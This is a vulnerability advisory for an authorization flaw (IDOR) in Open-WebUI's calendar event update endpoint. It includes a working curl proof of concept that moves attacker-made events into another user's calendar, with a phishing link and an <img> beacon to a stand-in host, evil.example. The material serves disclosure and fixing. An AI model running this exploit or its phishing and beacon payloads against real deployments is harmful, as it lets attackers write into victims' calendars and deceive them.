PT-2026-50478 · Pypi · Open-Webui
Published
2026-06-17
·
Updated
2026-06-17
·
CVE-2026-54006
CVSS v3.1
4.3
Medium
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
Summary
POST /api/v1/calendars/events/{event id}/update validates that the caller has write access to the calendar the event currently belongs to, but does not validate the destination calendar id supplied in the request body. The model layer then persists the new calendar id unconditionally.A regular
user-role account can therefore create an event in their own calendar and immediately move it into any other user's calendar whose ID they know — bypassing the authorization check that create event correctly performs. This is reachable on default configuration: ENABLE CALENDAR and USER PERMISSIONS FEATURES CALENDAR both default to True.Details
Sink — missing destination check
backend/open webui/routers/calendar.py:283-297python
@router.post('/events/{event id}/update', response model=CalendarEventModel)
async def update event(
request: Request, event id: str, form data: CalendarEventUpdateForm,
user: UserModel = Depends(get verified user)
):
await check calendar permission(request, user)
event = await CalendarEvents.get event by id(event id)
if not event:
raise HTTPException(status code=404, detail='Event not found')
await check calendar access(event.calendar id, user, 'write') # ← SOURCE only
updated = await CalendarEvents.update event by id(event id, form data) # ← writes form data.calendar id
...backend/open webui/models/calendar.py:658-693 (update event by id)python
update data = form data.model dump(exclude unset=True)
for field in [
'calendar id', # ← destination persisted with no ACL
'title', 'description', 'start at', 'end at', 'all day',
'rrule', 'color', 'location', 'is cancelled',
]:
if field in update data:
setattr(event, field, update data[field])Reference — create event does check the destination
backend/open webui/routers/calendar.py:255python
await check calendar access(form data.calendar id, user, 'write')Default-config gates (both True)
backend/open webui/config.py:1658-1662—ENABLE CALENDARdefaults'True'backend/open webui/config.py:1554—USER PERMISSIONS FEATURES CALENDARdefaults'True'backend/open webui/main.py:1457— router mounted unconditionally
PoC
Verified end-to-end against the official
ghcr.io/open-webui/open-webui:main (v0.9.4) Docker image with two fresh user-role accounts.1. Environment
bash
git clone https://github.com/open-webui/open-webui.git
cd open-webui && docker compose up -d # http://localhost:3000Create the first account (admin), then via admin UI /
POST /api/v1/auths/add create two user-role accounts: attacker and victim. Sign each in and capture their JWTs as $ATTACKER TOKEN / $VICTIM TOKEN.2. Obtain the victim's calendar id
Calendar IDs are UUIDv4 (
models/calendar.py:316) and not enumerable. In practice an attacker obtains one via:- Read-only share — victim (or a group admin) grants the attacker
readon a calendar; the ID is returned byGET /api/v1/calendars/. - Event invitation — victim adds the attacker as an attendee on any event; the event payload (
CalendarEventModel,models/calendar.py:127) includescalendar id. - Any side-channel (logs, screenshots, browser history).
For reproduction the maintainer can simply read it as the victim:
bash
VICTIM CALENDAR ID=$(curl -s "$OPENWEBUI/api/v1/calendars/"
-H "Authorization: Bearer $VICTIM TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')3. Control — direct create is correctly blocked
bash
curl -s -o /dev/null -w '%{http code}
'
-X POST "$OPENWEBUI/api/v1/calendars/events/create"
-H "Authorization: Bearer $ATTACKER TOKEN" -H 'Content-Type: application/json'
-d "{"calendar id":"$VICTIM CALENDAR ID","title":"x","start at":1778400000000000000,"end at":1778403600000000000}"
# → 4034. Exploit — create-then-reparent
bash
ATTACKER CAL=$(curl -s "$OPENWEBUI/api/v1/calendars/"
-H "Authorization: Bearer $ATTACKER TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')
# 1. create in own calendar
EVENT ID=$(curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/create"
-H "Authorization: Bearer $ATTACKER TOKEN" -H 'Content-Type: application/json'
-d "{"calendar id":"$ATTACKER CAL","title":"[INJECTED] Mandatory re-auth: https://evil.example/login","description":"Session expired.","location":"<img src=https://evil.example/beacon.png>","start at":1778400000000000000,"end at":1778403600000000000}"
| python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])')
# 2. move into victim's calendar — NO destination check
curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/$EVENT ID/update"
-H "Authorization: Bearer $ATTACKER TOKEN" -H 'Content-Type: application/json'
-d "{"calendar id":"$VICTIM CALENDAR ID"}"
# → 200, response shows "calendar id":"<VICTIM CALENDAR ID>"5. Verification from victim's session
bash
curl -s "$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00&end=2026-06-01T00:00:00"
-H "Authorization: Bearer $VICTIM TOKEN" | python3 -m json.toolObserved output (truncated):
json
[{
"id": "1662c982-adb1-43d6-a9c8-0103fa1299c0",
"calendar id": "0b755ea7-4ff4-4a60-9cff-8961e69c75bb",
"user id": "7554dd33-e220-44cb-8441-169c55eef4f5",
"title": "[INJECTED] Mandatory re-auth: https://evil.example/login",
"description": "Session expired.",
...
}]The injected event now lives in the victim's default calendar. A subsequent
GET /events/{id} as the attacker returns 403 — confirming the move succeeded and the attacker has no legitimate access to the destination.Impact
- Read-only → write escalation on shared calendars: a user granted
readviaAccessGrantscan effectively write. - Phishing / social engineering: events appear inside the victim's own private calendar (not as an external invite). The hover tooltip (
CalendarEventChip.svelte:12 → common/Tooltip.svelte) renderstitle/locationas DOMPurify-sanitised HTML withallowHTML=true, so an attacker can embed formatted links and<img>beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS. - Calendar spam / DoS: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).
Fix
IDOR
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Open-Webui